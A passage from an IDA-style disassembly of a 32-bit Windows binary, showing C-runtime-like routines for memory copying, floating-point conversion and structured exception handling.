dh, dh jz short loc_41C4E8 test edx, 0FF0000h jz short loc_41C4D8 test edx, 0FF000000h jnz short loc_41C494 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C4D8: ; CODE XREF: sub_41C3D0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C4E8: ; CODE XREF: sub_41C3D0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C3D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C500 proc near ; CODE XREF: sub_40BE0D+15p ; sub_40BE0D+3Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C520 cmp edi, eax jb loc_41C698 loc_41C520: ; CODE XREF: sub_41C500+16j test edi, 3 jnz short loc_41C53C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C55C rep movsd jmp ds:off_41C648[edx*4] ; --------------------------------------------------------------------------- loc_41C53C: ; CODE XREF: sub_41C500+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C554 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41C55C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C554: ; CODE XREF: sub_41C500+46j jmp dword ptr ds:loc_41C658[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C55C: ; CODE XREF: sub_41C500+31j ; sub_41C500+8Ej ... jmp ds:off_41C5DC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C570 dd offset loc_41C59C dd offset loc_41C5C0 ; --------------------------------------------------------------------------- loc_41C570: ; DATA XREF: sub_41C500+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C55C rep movsd jmp ds:off_41C648[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41C59C: ; DATA XREF: sub_41C500+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C55C rep movsd jmp ds:off_41C648[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C5C0: ; DATA XREF: sub_41C500+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C55C rep movsd jmp ds:off_41C648[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C5DC dd offset loc_41C63F ; DATA XREF: sub_41C500:loc_41C55Cr dd offset loc_41C62C dd offset loc_41C624 dd offset loc_41C61C dd offset loc_41C614 dd offset loc_41C60C dd offset loc_41C604 dd offset loc_41C5FC ; --------------------------------------------------------------------------- loc_41C5FC: ; CODE XREF: sub_41C500:loc_41C55Cj ; DATA XREF: sub_41C500+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C604: ; CODE XREF: sub_41C500:loc_41C55Cj ; DATA XREF: sub_41C500+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C60C: ; CODE XREF: sub_41C500:loc_41C55Cj ; DATA XREF: sub_41C500+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C614: ; CODE XREF: sub_41C500:loc_41C55Cj ; DATA XREF: sub_41C500+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C61C: ; CODE XREF: sub_41C500:loc_41C55Cj ; DATA XREF: sub_41C500+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C624: ; CODE XREF: sub_41C500:loc_41C55Cj ; DATA XREF: sub_41C500+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C62C: ; CODE XREF: sub_41C500:loc_41C55Cj ; DATA XREF: sub_41C500+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C63F: ; CODE XREF: sub_41C500:loc_41C55Cj ; DATA XREF: sub_41C500:off_41C5DCo jmp ds:off_41C648[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C648 dd offset loc_41C658 ; DATA XREF: sub_41C500+35r ; sub_41C500+92r ... dd offset loc_41C660 dd offset loc_41C66C dd offset loc_41C680 ; --------------------------------------------------------------------------- loc_41C658: ; CODE XREF: sub_41C500+35j ; sub_41C500+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C660: ; CODE XREF: sub_41C500+35j ; sub_41C500+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C66C: ; CODE XREF: sub_41C500+35j ; sub_41C500+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C680: ; CODE XREF: sub_41C500+35j ; sub_41C500+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C698: ; CODE XREF: sub_41C500+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C6CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C6C0 std rep movsd cld jmp ds:off_41C7E0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C6C0: ; CODE XREF: sub_41C500+1B1j ; sub_41C500+208j ... neg ecx jmp dword ptr ds:loc_41C78F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C6CC: ; CODE XREF: sub_41C500+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C6E4 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_41C6E4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C6E4: ; CODE XREF: sub_41C500+1D6j ; DATA XREF: sub_41C500+1DDr jmp ds:off_41C7E0[ecx*4] ; --------------------------------------------------------------------------- align 4 clc mov byte ptr [ecx+0], 18h mov dword ptr [ecx+0], offset loc_41C740 mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C6C0 std rep movsd cld jmp ds:off_41C7E0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C6C0 std rep movsd cld jmp ds:off_41C7E0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C740: ; DATA XREF: sub_41C500+1F1o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C6C0 std rep movsd cld jmp ds:off_41C7E0[edx*4] ; --------------------------------------------------------------------------- align 4 xchg eax, esp mov dword ptr [ecx+0], offset loc_41C79C movsb mov dword ptr [ecx+0], offset loc_41C7AC mov ah, 0C7h inc ecx add [edi+eax*8-383BFFBFh], bh inc ecx loc_41C78F: ; DATA XREF: sub_41C500+1C2r add bh, dl mov dword ptr [ecx+0], 1C8E448Bh mov [edi+ecx*4+1Ch], eax loc_41C79C: ; DATA XREF: sub_41C500+275o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41C7AC: ; DATA XREF: sub_41C500+27Do mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C7D7: ; CODE XREF: sub_41C500+1C2j jmp ds:off_41C7E0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C7E0 dd offset loc_41C7F0 ; DATA XREF: sub_41C500+1B7r ; sub_41C500:loc_41C6E4r ... dd offset loc_41C7F8 dd offset loc_41C808 dd offset loc_41C81C ; --------------------------------------------------------------------------- loc_41C7F0: ; CODE XREF: sub_41C500+1B7j ; sub_41C500:loc_41C6E4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C7F8: ; CODE XREF: sub_41C500+1B7j ; sub_41C500:loc_41C6E4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C808: ; CODE XREF: sub_41C500+1B7j ; sub_41C500:loc_41C6E4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C81C: ; CODE XREF: sub_41C500+1B7j ; sub_41C500:loc_41C6E4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C835 proc near ; CODE XREF: sub_40BE55+40p ; sub_40ED60+23Dp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B1D0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420730 add esp, 10h leave retn sub_41C835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C869(double) sub_41C869 proc near ; CODE XREF: sub_40CE7B+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_43CF20 call sub_421A09 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C8EF call sub_4218D1 pop ecx test eax, eax pop ecx jle short loc_41C8D2 cmp eax, 2 jle short loc_41C8C4 cmp eax, 3 jnz short loc_41C8D2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_4211E1 add esp, 10h jmp short loc_41C934 ; --------------------------------------------------------------------------- loc_41C8C4: ; CODE XREF: sub_41C869+3Fj push esi push ebx call sub_421A09 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C934 ; --------------------------------------------------------------------------- loc_41C8D2: ; CODE XREF: sub_41C869+3Aj ; sub_41C869+44j fld [ebp+arg_0] fadd ds:dbl_428718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C92C ; --------------------------------------------------------------------------- loc_41C8EF: ; CODE XREF: sub_41C869+2Fj call sub_421896 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C912 loc_41C904: ; CODE XREF: sub_41C869+ACj push esi push ebx call sub_421A09 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C934 ; --------------------------------------------------------------------------- loc_41C912: ; CODE XREF: sub_41C869+99j test bl, 20h jnz short loc_41C904 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C92C: ; CODE XREF: sub_41C869+84j call sub_421234 add esp, 1Ch loc_41C934: ; CODE XREF: sub_41C869+59j ; sub_41C869+67j ... pop esi pop ebx leave retn sub_41C869 endp ; =============== S U B R O U T I N E ======================================= sub_41C938 proc near ; CODE XREF: sub_41B974+9p ; sub_421AD2+21p ; DATA XREF: ... call sub_41C950 call sub_421AD2 mov ds:dword_4DDF08, eax call sub_421A82 fnclex retn sub_41C938 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C950 proc near ; CODE XREF: sub_41C938p mov eax, offset sub_421EC0 mov ds:off_43F534, offset sub_421B55 mov ds:off_43F530, eax mov ds:off_43F538, offset sub_421BBB mov ds:off_43F53C, offset sub_421AFB mov ds:off_43F540, offset sub_421BA3 mov ds:off_43F544, eax retn sub_41C950 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C988 proc near ; CODE XREF: sub_40CE7B+1Bp ; sub_40CE7B+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C9AF(double) sub_41C9AF proc near ; CODE XREF: sub_40CEC7+83p ; sub_40D83A+3AEp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_43CF38 call sub_421A09 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CA35 call sub_4218D1 pop ecx test eax, eax pop ecx jle short loc_41CA18 cmp eax, 2 jle short loc_41CA0A cmp eax, 3 jnz short loc_41CA18 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_4211E1 add esp, 10h jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA0A: ; CODE XREF: sub_41C9AF+3Fj push esi push ebx call sub_421A09 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA18: ; CODE XREF: sub_41C9AF+3Aj ; sub_41C9AF+44j fld [ebp+arg_0] fadd ds:dbl_428718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41CA72 ; --------------------------------------------------------------------------- loc_41CA35: ; CODE XREF: sub_41C9AF+2Fj call sub_421896 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CA58 loc_41CA4A: ; CODE XREF: sub_41C9AF+ACj push esi push ebx call sub_421A09 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA58: ; CODE XREF: sub_41C9AF+99j test bl, 20h jnz short loc_41CA4A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41CA72: ; CODE XREF: sub_41C9AF+84j call sub_421234 add esp, 1Ch loc_41CA7A: ; CODE XREF: sub_41C9AF+59j ; sub_41C9AF+67j ... pop esi pop ebx leave retn sub_41C9AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA7E proc near ; CODE XREF: sub_422331+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41CA7E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41CAB2 proc near ; CODE XREF: sub_4224E2+199p ; sub_4226A6+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41CAB2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CAB9 proc near ; CODE XREF: sub_4224E2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41CAB9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAC0 proc near ; CODE XREF: sub_41CC72+5Cp ; sub_422331:loc_422362p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41CAE8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_426A1E ; RtlUnwind loc_41CAE8: ; DATA XREF: sub_41CAC0+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41CAC0 endp ; --------------------------------------------------------------------------- loc_41CB0F: ; CODE XREF: seg000:004270C0j ; seg000:004270DDj ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421F36 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB45 proc near ; CODE XREF: sub_4223AC+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41CB99 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422730 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41CB45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB99 proc near ; DATA XREF: sub_41CB45+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421F36 add esp, 20h pop ebp retn sub_41CB99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CBBE proc near ; CODE XREF: sub_422178+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CC72 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CC44 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_4DDF64 pop ecx pop ecx and [ebp+var_34], 0 loc_41CC44: ; DATA XREF: sub_41CBBE+3Co cmp [ebp+var_4], 0 jz short loc_41CC61 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CC6A ; --------------------------------------------------------------------------- loc_41CC61: ; CODE XREF: sub_41CBBE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CC6A: ; CODE XREF: sub_41CBBE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41CBBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC72 proc near ; DATA XREF: sub_41CBBE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CC95 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CCE2 ; --------------------------------------------------------------------------- loc_41CC95: ; CODE XREF: sub_41CC72+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421F36 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CCD3 push [ebp+arg_0] push [ebp+arg_4] call sub_41CAC0 loc_41CCD3: ; CODE XREF: sub_41CC72+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CCE2: ; CODE XREF: sub_41CC72+21j pop edi pop esi pop ebx pop ebp retn sub_41CC72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCE7 proc near ; CODE XREF: sub_421FD1+C6p ; sub_422178+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CD3E loc_41CD05: ; CODE XREF: sub_41CCE7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CD0F call sub_4227D2 loc_41CD0F: ; CODE XREF: sub_41CCE7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CD24 cmp ecx, [eax+8] jle short loc_41CD29 loc_41CD24: ; CODE XREF: sub_41CCE7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CD35 loc_41CD29: ; CODE XREF: sub_41CCE7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CD35: ; CODE XREF: sub_41CCE7+40j cmp [ebp+arg_4], 0 jge short loc_41CD05 mov eax, [ebp+var_4] loc_41CD3E: ; CODE XREF: sub_41CCE7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CD52 cmp esi, eax jbe short loc_41CD57 loc_41CD52: ; CODE XREF: sub_41CCE7+65j call sub_4227D2 loc_41CD57: ; CODE XREF: sub_41CCE7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CCE7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD64 proc near ; CODE XREF: sub_4237BC+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_41CD7C push [ebp+arg_0] call sub_426A1E ; RtlUnwind loc_41CD7C: ; DATA XREF: sub_41CD64+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CD64 endp ; =============== S U B R O U T I N E ======================================= sub_41CD84 proc near ; DATA XREF: sub_41CDA6+Ao ; sub_41CE0E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CDA5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CDA5: ; CODE XREF: sub_41CD84+10j retn sub_41CD84 endp ; =============== S U B R O U T I N E ======================================= sub_41CDA6 proc near ; CODE XREF: sub_422452+Dp ; sub_4237BC+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CD84 push large dword ptr fs:0 mov large fs:0, esp loc_41CDC3: ; CODE XREF: sub_41CDA6:loc_41CDFEj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CE00 cmp esi, [esp+1Ch+arg_4] jz short loc_41CE00 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CDFE push 101h mov eax, [ebx+esi*4+8] call sub_41CE3A call dword ptr [ebx+esi*4+8] loc_41CDFE: ; CODE XREF: sub_41CDA6+44j jmp short loc_41CDC3 ; --------------------------------------------------------------------------- loc_41CE00: ; CODE XREF: sub_41CDA6+2Aj ; sub_41CDA6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CDA6 endp ; =============== S U B R O U T I N E ======================================= sub_41CE0E proc near ; CODE XREF: sub_422472+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CD84 jnz short locret_41CE30 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CE30 mov eax, 1 locret_41CE30: ; CODE XREF: sub_41CE0E+10j ; sub_41CE0E+1Bj retn sub_41CE0E endp ; =============== S U B R O U T I N E ======================================= sub_41CE31 proc near ; CODE XREF: sub_422730+1Ep ; sub_422730+40p push ebx push ecx mov ebx, offset dword_43CF3C jmp short loc_41CE44 sub_41CE31 endp ; =============== S U B R O U T I N E ======================================= sub_41CE3A proc near ; CODE XREF: sub_41CDA6+4Fp ; sub_4237BC+78p push ebx push ecx mov ebx, offset dword_43CF3C mov ecx, [ebp+8] loc_41CE44: ; CODE XREF: sub_41CE31+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CE3A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CE54 proc near ; CODE XREF: sub_40CEC7+5p ; sub_40D066+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CE54 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CE73 proc near ; CODE XREF: sub_40D4F9+22p ; seg000:004267F5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B2A1 pop ecx retn sub_41CE73 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE80 proc near ; CODE XREF: sub_40D566+3Ap ; sub_41E0C2+2EFp ... arg_0 = 